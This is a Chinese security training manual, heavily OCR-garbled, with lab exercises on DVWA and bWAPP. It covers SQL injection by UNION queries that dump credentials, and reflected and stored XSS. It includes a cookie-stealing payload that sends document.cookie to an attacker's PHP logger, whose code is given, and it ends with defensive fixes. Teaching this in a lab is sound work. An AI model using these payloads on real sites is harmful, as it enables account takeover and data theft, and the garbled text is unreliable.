《信息安全技术与应用实训指导书.docx》由会员分享,可在线阅读,更多相关《信息安全技术与应用实训指导书.docx(220页珍藏版)》请在课桌文档上搜索。
1、信息安全发展态势与知识拓展实训项目指导手册目录Web安钿用分析之SQ1.注入及惭配JS1.()()()实脸概述-.2实验环境实验流程.3任务1环境准备任务2判断注入点.5任务3任务4任务5任务6猜测字段数执行Union联合街旬获取数也10*.Web安全应用分析之SQ1.注入及防护配置实验概述SQ1.注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的雄忽,通过SQ1.语句,实现无账号登录,甚至篡改数据库。凡有SQ1.注入漏洞的程序都是因为程序要接受来自客户端用户输入的变用或UR1.传递的参数,并且这个变量或参数是组成SQ1.语句的一部分.DVWA(Da
2、mVu1.nerab1.eWebAPP1.iCation)是用PHP+Mysq1.编写的一套用于常规Web漏洞教学和检测的Web脆弱性测试程序,提供1.ow.Medium.High.Impossib1.e四个安全级别,包含了SQ1.注入、SS,CSRF等常见的Web安全屈洞1.HaCkBar是FirefoX提供的插件,主要功能有:网址的栽入访问、联合直询、各种编码/解码、数据加密等.HaCkBar可以帮助安全人员测试SQ1.注入、XSS.CSRF等安全高同以及网站的安全性.实验环境攻击机:WindowsServer2016(OI-WindoWS攻击机),IP:192.168.200.130靶机
3、:WindowsServer2016(O1.-Windows攻击机),IP:192.168.2.130集成环境:PhPStUdy网站:DVWA-v1.10,Iow安全级SI1.前提条件本实睑要求: 熟恐WindoWS基本操作 熟恐基本的SQ1.语句实验流程实验目标完成本实验后,将能够: 了解SQ1.注入原理 掌握基本SQ1.注入方法 掌握SQ1.注入漏洞防护方法任务1环境准备【任务目标】启动动态网站集邮境,并访问SQ1.注入站点.【任务步骤)1 .启动动态网站集成环境双击桌面的Phpstudyrt集成环境,并单击启动按钮,运行网站.2.浏览器访问SQ1.注入站点双击桌面的火狐浏览器,在UR1.
4、地址栏中输入:http127.0.0.1dvwa1.ogin.php输入默认账号和宓码登录网站:账号:admin密码:passwordTDIBBt)CMW|Xaa)a(WGenera1.InstructionsWetoDamnVu1.nerab1.eWebApp1.ication!DvWmoMitcatotMMWMIM*W0QtfMtwM*Wto*4to*i2iWMtCVgVIVMM2agMM-91MU(*4Mt*MMSUMre4M0Mr1.M*MWiX*c*c*wv*rG0*M*rtce*wr4roiMJIWMMtfIve4vkWVrWMMtfMWg.fCv12IWyhmtOMM*eZmto
5、nd。imAdgIUMKweMT7HmwnctVmmMif1.ockmcMZUMCCtrMtapfeIyGdgBvoe*VMun.rm4MKMMWMAMMFMva(MM)FMMhctcmXratMant2Be三(Wf1.MMtMkrV11Mmantintarwadarrtrvrtworr*nattrtctrafWfwrJ*iMv单击左侧菜单导肮栏的SQ1.Injection,进入SQ1.注入页面.Brut*FcewCofMnandMtkmCSItFF1.kInC1.UMoa1.F1.1.1.kMdtowcwCAFTCHAUMfOSuMVu1.nerabi1.ity:SQ1.InjectionM
6、oreInformationMXkVMon(1.M)WukSMk0IDvXS8(00MXSSiIteftoctodIXS(StorCSPBypM*任务2判断注入点【任务目标】利用加单引号等方式,判断页面是否存在注入点。【任务步噱】1.判断是否存在注入点在输入框中,输入:1并单击Submit按钮提交.页面回显了ID为1的用户姓名信息,说明页面正常.继续在输入糖中,输入:1并单击uSubmit按钮提交。页面报错并显示了错误信息,根据错误信息可以了解到此错误为语法错误,数据库类型为MySQ1.e注:因为该站点为字符型注入漏洞,所以需要构造闭合语句.构造如下闭合逻辑语句:1and1=1#可以看到语句能
7、够成功被服务器执行,并显示正常的页面信息.继续构造闭合逻辐语句:1and1=2#可以看到语句能够成功被服务器执行,但页面没有正常信息回显.根据以上执行结果判断,该页面确定存在SQ1.注入漏洞.任务3猜测字段数【任务目标】通过Orderby猜测查询的字段数量。【任务步噱】1.猜测字段数为10构造如下闭合语句:1 ,orderby10#Vu1.nerabi1.ity:SQ1.InjectionUserID:rorderby10,SubmitMoreInformation页面报错,并显示不存在10个长度的字段,说明字段数小于10.因此范围在1到10之间。XMtY)彷史045三()XRD懵Shttp7
8、127.0.bnit-Subrr+127Qo1.IdvwaMncbi1.itiesq1.Wid:UrderbyNO一CSSfUnknOWnCoIUM10in,orderc1.ause2 .猜测字段数为5一般采用二分方法来猜测字段数,如:第一次猜测为100,下一次为50,再下一次为25以此类推,直到猜出正确的字段数.继续构造:1,orderby5#,同样显示错误,说明数量不为5.文件a(E)100历史(三)书?5CB)IRQ)M助(三)http:127.0.bm=SubmgX+,;)127.0.0.1dvwavu1.nerabiIities/sq1.i/?id=+order+by5+%WXCtS
9、Unknownco1.umn,5,inorderc1.ause3 .猜测字段数为3继续构造:1,orderby3#,同样显示错误,说明数量不为3。文件(D:)(y)历史不答(R)IM(Det(三)http1.270.bmit-Sbmit*X+127.0.0.1/dvwa/vu1.nefab1.rties/sq1.i/?d三*orderby3*%C“百StE+KInknOwnco1.umn3inorderc1.ause,4 .猜测字段数为2继续构造:1,orderby2#,页面显示正常,说明字段数量为2.Vu1.nerabi1.ity:SQ1.InjectionUSer10:rorderby2S
10、ubmit:D:1,ordrby2Firstnt:Surneme:retainMoreInformation任务4执行Union联合查询【建目标】通过执行union联合查询,确定回显位苴。【任务步骤】1.构造联合查询语句确定查询字段数量后,可以通过联合直询语句来确定数据回显的位置,最后通过该位置获取数据库中的敏感信息.构造如下语句:1unionse1.ect1.2#,有多少个字段数,se1.ect后面就加上对应的数字。Vu1.nerabi1.ity:SQ1.InjectionU*rIOSutvnrtXD:1.unionse1.ectI,2Firstnane:dinSurnae:anine1.e
11、ct1,2t1V此处的1和2即为回显位置任务5获取数据【任务目标】通过构造并执行unionse1.ect查询语句,获取数据库中的数据信息.【任务步骤】1 .获取数据库相关信息通过内嵌函数version。,database。等获取数据库版本信息和数据库名.构造语句:1unionse1.ectVerSiOnO,database。#Vu1.nerabi1.ity:SQ1.InjectionU*rIDSubmitXD:1*unionse1.ectversionOdatabaseOIFirstnae:dninSurndwe:annID:1.unionse1.ectversion),databasecri
12、60fXMrthwv1.wBBf1.MRTM1.Iiw1. ht!ptfgwfcipdaorQMVSQ1.incton httD,.、;/一;*得到数据库名为:dvwa,MySQ1.数据库版本为5.5.53.2 .获取数据库表名在MySQ1.版本大于5时,默认存在information.schema库,该库中存在其他库的所有数据.根据已经获得的信息,继续构造语句,获取数据库表名:1unionse1.ecttab1.e_name,2frominformation_schema.tab1.eswheretab1.e-schema=,dvwa,#Vu1.nerabi1.ity:SQ1.Injecti
13、onUW1.OSutxntID:1,un100se1.ecttb1.oj4e,2frannfo11Mtonscbev*a.tab1.eswheretab1.escirscnw:dnnSumane:ae,2frcatnforB*t1.onscheM.XAto1.eswheretab1.e*firstnM:9uabsekSurn*M:211XD:1uniona1.cttb1.j*w,2fromInfaxnatian_acbSM.tbIawheretb1._acF15Cne:U3。9rnn9:2-MoreInformation可以看到,在1的回显位置上,显示了两张数据库表名:guestbook,us
14、ers.其中USerS表名存在管理员帐号密码可能性最大.3 .获取字段名继续构造联合查询语句,获取USerS表的字段名:1unionse1.ectco1.umnname,2frominformation.SChema.co1.umnswheretab1.e-schema=dvwa,andtab1.e-name=users#Vu1.nerabi1.ity:SQ1.Injection*M:1337Surnan:843533d7223966d78”cc69216bXD:1unionse1.ectua*r,pAi4wor:Gd1.07d09f5bbe40cadeie5c71e9e9b7XD:&tuni
15、onse1.ecturfpasswordfron9Firstnone:smithySurnewe:Sf4dcc3b5aa76M61d8327882cf99最终得到5个用户的账号和密码,其中包括管理员账号和密码:admin5f4dcc3b5aa765d61d8327deb882cf995 .密码解密由于多数站点的默认:库用户密码加密方式为:MDS哈希算法,而dvwa站点默认也是采用此算法进行密码加密.因此,可以将密码放到在线解空网站进行解密.例如:最终得到admin用户的密码为password任务6SQ1.注入防护【任务目标】通过在页面中加入防护代码,实现对SQ1.注入漏洞的代码级防护效果.【任
16、务步噱】1.mysq1._rea1.eSCaPe_String()函数mysq1._rea1._escape_String()函数可以将用户输入的特殊字符进行转义.转义的特殊字符包括:00(单引号)(双引号)x1.a进入C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiessq1.isource文件,三ow.php文件。将$id=$_REQUESTid;修改为$id=mysq1._rea1._escape_string($_REQUESTid);6*Mo*F*c4r-MMvr4c1ffDyw)mv*nBMKI*najo*w口恪加acaf.3HM4rt3Ca
17、一3-*。J29?PhPif(isset$REQVESTSumi1.)I:y三q1.-r1.-eC4M*-三trinj/C0ckdAtAtMiJioSquory-SE1.ECTfirstnanatIaStn1.IeQFRCHusersWHEREUgrJd,5d,;*;$ro5u1.tuyiq1.i_query:$G1.OBA1.SIm11y:!iSton-1.SquOry)orde(,r(13Gtv*1.u3SfirscSrowCtiratn.wo-|;$1.ast$row(*1.astnano);16/FZdbaCkforenduser$htn1.-ISnU:.rr.:(S11C3t)i,:
18、19IBysq1.ic1.ose:$G1.OBA1.S(:!5ton*J);保存并退出编辑。2 .验证漏洞修且结果在SQ1.注入页面中,执行1and1=1#语句。可以看到页面已经不再显示任何内容,也没有报错提示,说明漏洞已经修复成功.3 .adds1.ashes()函数adds1.ashes()函数同样可以将特定字符进行转义,从而达到修爱效果.进入C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiessq1.isource文件夹,编辑ow.php文件。将$id=$_REQUESTrid;修改为$id=adds1.ashes($_REQUESTid);ATM
19、C*WMA*MFA*aa*rc*1-DXmMXiEV,mv三K1MRIr.IZ1.1M)SVHM4b*C9Ca44r*_J19|$id*oddn.h”J3REQVESfI7J)J/Chockdatabf1.Q$ordieI(I13/Gotva1.ues$first-5row(firstnafo;$1.ast-$row(-1.astnaoe;I16/F00ackforenduserShta1.-*in:ISidhbr/;?:rntnM:(Sfirat):jrnaM:1S1.ast19I1ay1.o(5G1.O0A1.S(nysq1.i3tonJ);*-UXOIfj118rryMMWVMatAMO
20、至此,实睑结束。大卡工用嗫埼抵街亭坊omWTKMicScuj11wcwna()(K|(11919(1.1.i1.(1202330XSS跨站脚本点击劫持分析及防护概述鹿站脚本攻击XSS(CrossSiteSCriPting)是恶越攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的.XSS攻击针对的是用户层面的攻击,可以用来进行钓鱼攻击、前端js挖叶、用户cookie获取,甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等.XSS跨站脚本攻击分为三类:反射型XSS(ref1.ected)、存储型XSS(StO
21、red)、DOMBasedXSS4本买脸使用的把场环境为:DVWA.bWAPP.实验环境攻击机:WindowsServer2016(O1.-Windows攻击机),IP:192.168.200.130靶机:WindowsServer2016(03-WindoWS即),IP:192.168.200.156前提条件本实脸要求: 熟怒WindoWS基本操作 熟恐基本的PHP函数和HTM1.标签实验流程反射型XSS泥泥利用、存储型XSS后洞利用实验目标完成本实蛉后,您将能够: 掌握XSS漏洞基本利用方法 掌握利用XSS获取用户cookie的方法 掌握XSS漏洞的代码级防护方法任务1反射型XSS漏洞利用
22、【任务目标】构造XSS代码,触发反射型XSS攻击,并通过反射型XSS漏洞,获取用户cookie信息.注:本实验把场为:DVWA.【任务步骤】1.靶机开启网站环境在靶机上,运行PhpStudy网站环境。2.攻击机访问靶机DVWA站点在攻击机打开浏览器访问httpdvwa1.ogin.php,账号:admin,密码:password女ef)MU*,光茂处H三fiIXDQM-OXj-2JSi-WVKed百St心力3翕6,三163.设置安全等级在DVWA首页,单击左侧菜单栏“DVWASecurity-,将安全等级设省为:Iowe卜1W.I00DVWASecuritySecurity1.v1.SMWVT
23、1.MNHCMrw*1.WIUw-fh*rttovtfat1MwtiEteancWCuVtrrmtob*MnvAc*tMitadCCdngprvrtCMMtdtavw4(MforrtoMcBeoMa*nfK2MW1m9ur1.h*1*)*11nCfMm)2TMCMncAfumMfMrwtMfyacc4wttocenviMaMeVEEaae8TVMMtdt90MJMVZF(CTFQCtfm4HpMMtABevcCgtotmomtMcs*2t)6WS9EIf6w*syBIPHPIDSw0d*ewxt*3rtfysW*dfk*Hvcm&vHvroervuwccMMp9r*MC*1.uMr)OAAgM
24、0EMyZ0C4A,TMbOW119VMwuECWWWWMacavtec11o4 .访问反射型XSS漏洞页面在DVWA首页,单击左侧菜单栏wXSS(Ref1.ected),进入反射型XSS漏洞页MoreInformationtrmrv*?SiMVu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)5 .执行攻击测试构造XSS代码:a1.ert(/xss/);该代码含义为:执行弹窗m(HD3OatV)Za1.ert(xss);将代码填写到input输入框中,并点击Submit提交。页面成功弹窗,说明攻击代码已被执行.6.获取用户cookiegXSS代码
25、:a1.ert(document.cookie)JWIWDXiov)Ha1.ert(document,ckie)z将代码填写到input输入框中,并点击Submit提交.页面成功弹窗,并将当前用户cookie信息显示在弹窗中,说明成功获取到用户cookie信息.任务2存储型XSS漏洞利用【任务目标】构造XSS代码,触发存储型XSS攻击,并通过存储型XSS漏洞,获取用户cookie信息。注:本实验靶场为:bWAPP.【任务步噱】1.访问bWAPP页面在攻击机打开浏览器访问httpbwapp1.ogin.php,账号:bee,宙码:bug,安全等级设置为:1.ow.2.访问存储型XSS漏洞页面在b
26、WAPP首页,单击右侧下拉框选择Cross-SiteScripting-Stored(BIog)并单击Hack按钮,进入存储型XSS漏洞页面.3.执行攻击测试构造XSS代码:a1.ert(xss);Im*be-已事3丈忖-ki)ms管5V).Ma1.ert(xss):将代码填写到输入框中并点击-Submit进行提交./XSS-Sfcred(BIog)/Ia.EW.tAX01.%提交成功,并且嵌入的代码被执行。此时,代码已经成功被写入到服务器中。因为代码在服务器中永久保存,所以重新访问该漏洞页面,仍然会触发XSS代码./XSS-S+cred/一M3.4XC.I1.iM-14.获取其他用户cook
27、ie(1)编写获取cookie值的页面编写一个可以获取用户cookie数值的页面,并存放到服务器中,具体代码如下:?phpHooki.php$cook-$_GETcookie,;以GET方式获取COokie$ip-$_SERVER(REMOTEADDR,;$timeZ$_SERVERREQUESTTIME;$cookie-strchr($cook,!,);或取字符串$fp=fopw(1.-k-.r,a);将数据写入CXt文本fwrit(Sfp,IP;.$ip.rnCookie:.Scookie.rr.);fc1.os(5fp);10111213将写好的代码文件存放到攻击机的网站路径中,并创建一
28、个对应名称的txt文档,用来存放其他用户的cookie信息.在攻击机中,运行网站环境.打开浏览器,本地访问获取cookie的页面。Stf)*BWi)ae.pX127001,,、;(2)构造XSS语句构造如下XSS语句,当用户访问存在此代码的存储页面,即可获取该用户cookie信息:document.write()XHnMJ)MgMfV)”川document.write(,)在XSS漏洞页面填写该代码,并提交./XSS-S+ored(BIog)/SuUnitAdd:0Sbowa1.-0tIYour11trywasadddtoourbkgIOwnerOeieEntry5g2022OM3192521
29、代码提交成功,接下来查看cookie.txt文件。2022-0W3-194359I.coofcJINIIScoofc.ux2029/31943IKBcook.tx如Hnknuwiy)mv6:|p:w1.5fCookie:PHPSESSID=qev5cfd27797imeneb0or4eav7IP:192.168.200.158Cookie:PHpSESS1.D=90msikf2qv64qcau3k7rn5q8a6任务3XSS漏洞防护【任务目标】通过在页面中加入防护代码,实现XSS漏洞的代码级防护效果.本节实验环境为:DVWA,安全等级Iow,防护页面为:XSS(RefIected).【任务步骤
30、】1 .黑名单过漉在C:phpStudyPHPTutoria1.WWWDVWAvu1.nerabi1.itiesxss_rsource下编辑1.ow.php漏洞页面,将等关犍词添加到黑名单,代码修改成如下图所示:早”,m,”,S_GET)$_GET,name-!二NU1.1.J/Get.i.nDu1.|$na工PIaU$GET|);/FeedbackforenduserShtm1.-,He1.1.oSname)w;H?测赚名单效果.Vu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)WnifaVKgySUmt可以看到,包含有(script的部分被替
31、换为空,导致无法触发攻击弹窗效果.2 .函数过源编辑XSS漏洞页面,在用户提交的内容处,添加Hm1.spaciaIchasrsO函数进行防护.早?MPheader(XXSS-Protection:);:/Isthereanyinput?if(arraykyoxi*ts(r.511t,S_GET)“S_GET(n,kJ!-NU1.1.)FnaJne-b51specia1.cbars($_GETiFam,,/FeedbackforenduserShtm1.-wHe1.1.o$naKie|w;H1.?泱赋函数实体化效果.Vu1.nerabi1.ity:Ref1.ectedCrossSiteScripting(XSS)MoreInformationHfJ)o41.ert(99可以看到,由于添加了实体化函数,代码无法被浏览器识SIJ,导致无法触发攻击此时,右键当前页面,单击查看页面源代码。可以看到以及均被函数进行了HTM1.实体化,因此浏览器无法识